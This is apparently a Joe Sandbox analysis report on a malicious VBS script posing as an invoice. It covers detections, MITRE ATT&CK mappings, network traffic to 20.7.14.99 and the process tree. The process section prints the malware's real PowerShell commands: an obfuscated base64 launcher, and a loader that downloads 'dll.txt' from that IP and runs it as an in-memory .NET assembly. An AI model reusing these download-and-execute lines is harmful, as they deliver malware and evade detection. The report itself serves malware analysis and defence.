Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Command and Scripting Interpreter	Path Interception	11 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	221 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	221 Scripting	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ref. No INV088002904SINO.vbs	27%	ReversingLabs	Script-WScript.Trojan.Heuristic
Ref. No INV088002904SINO.vbs	13%	Virustotal		Browse
Ref. No INV088002904SINO.vbs	20%	Metadefender		Browse

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://20.7.14.99	23%	Virustotal		Browse
http://20.7.14.99/server/dll.txt	26%	Virustotal		Browse
http://20.7.14.99	100%	Avira URL Cloud	malware
http://20.7.14.99/server/dll.txt	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://20.7.14.99/server/dll.txt	true	26%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.340730750.000001B0A2A6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.350622137.00000216A0541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.320814767.000001B092A11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	false		high
http://20.7.14.99	powershell.exe, 00000003.00000002.339339189.000001B09412F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.325801923.000001B093624000.00000004.00000800.00020000.00000000.sdmp	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.321573407.000001B092C24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.340730750.000001B0A2A6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.341871751.000001B0A2BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
20.7.14.99	unknown	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	699422
Start date and time:	2022-09-08 07:30:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Ref. No INV088002904SINO.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.evad.winVBS@6/5@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Adjust boot time Enable AMSI Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target powershell.exe, PID 4764 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5976 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:31:08	API Interceptor	36x Sleep call for process: powershell.exe modified

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3rm35jv.ftv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjajxajs.yzb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rv5m2ibe.fsd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tigd1obk.kyu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Static File Info

General

File type:	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
Entropy (8bit):	1.8691180098720446
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	Ref. No INV088002904SINO.vbs
File size:	656818
MD5:	78f2e521d65cd356494edd52bfa2eb94
SHA1:	abd02c0ece3445944708037fcfeffa0f69c14319
SHA256:	e844196a40b506f2d00760b7dfcb2474c56f30c705d078cb265b8871aeca8e79
SHA512:	22ffd9687ee50924e0ddc7b04f39ad36b92c28635b86fb2fc3aabf7d98cabf5d22f928e15a73ecd19723fc30735a4a5bd8c0f712db6f1a5a40010c56c7d89c60
SSDEEP:	192:AkiQQuYbJTFYVXqrIduTjEZ9iImtwDYmNoqzhKkOmr:AkqFp6/RDYmjl
TLSH:	7BD4FF13745ADEC252D231435AD3F67827FAA2E99E3F86940ACD8C4D02E862C425B7D3
File Content Preview:	..:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.....:.:.....:.....:.....:.....:.....:.....:.....:.....:.:.....:.....:.....:.....:.....:.....:.....:.....:.:.....:.....:.....:.....:.....:.....:.....:.....:

File Icon


Icon Hash:	e8d69ece869a9ec4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2022 07:31:10.193434954 CEST	49709	80	192.168.2.4	20.7.14.99
Sep 8, 2022 07:31:10.300112009 CEST	80	49709	20.7.14.99	192.168.2.4
Sep 8, 2022 07:31:10.300251007 CEST	49709	80	192.168.2.4	20.7.14.99
Sep 8, 2022 07:31:10.300635099 CEST	49709	80	192.168.2.4	20.7.14.99
Sep 8, 2022 07:31:10.408555984 CEST	80	49709	20.7.14.99	192.168.2.4
Sep 8, 2022 07:31:10.460522890 CEST	49709	80	192.168.2.4	20.7.14.99
Sep 8, 2022 07:31:13.013134003 CEST	49709	80	192.168.2.4	20.7.14.99

HTTP Request Dependency Graph

20.7.14.99

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49709	20.7.14.99	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Sep 8, 2022 07:31:10.300635099 CEST	99	OUT	GET /server/dll.txt HTTP/1.1 Host: 20.7.14.99 Connection: Keep-Alive
Sep 8, 2022 07:31:10.408555984 CEST	100	IN	HTTP/1.1 404 Not Found Date: Thu, 08 Sep 2022 05:31:10 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Content-Length: 297 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6e 20 50 48 50 2f 37 2e 34 2e 32 39 20 53 65 72 76 65 72 20 61 74 20 32 30 2e 37 2e 31 34 2e 39 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Server at 20.7.14.99 Port 80</address></body></html>

Target ID:	0
Start time:	07:31:02
Start date:	08/09/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Ref. No INV088002904SINO.vbs"
Imagebase:	0x7ff6538c0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exePID: 5976, Parent PID: 5184

General

Target ID:	1
Start time:	07:31:03
Start date:	08/09/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Imagebase:	0x7ff754c30000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: conhost.exePID: 5356, Parent PID: 5976

General

Target ID:	2
Start time:	07:31:04
Start date:	08/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exePID: 4764, Parent PID: 5976

General

Target ID:	3
Start time:	07:31:07
Start date:	08/09/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))
Imagebase:	0x7ff754c30000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Disassembly

⊘No disassembly

Source: http://20.7.14.99	Avira URL Cloud: Label: malware
Source: http://20.7.14.99/server/dll.txt	Avira URL Cloud: Label: malware

Source: http://20.7.14.99	Virustotal: Detection: 22%			Perma Link
Source: http://20.7.14.99/server/dll.txt	Virustotal: Detection: 26%			Perma Link

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.14.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.14.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.14.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.14.99
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.14.99

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Windows Analysis Report Ref. No INV088002904SINO.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

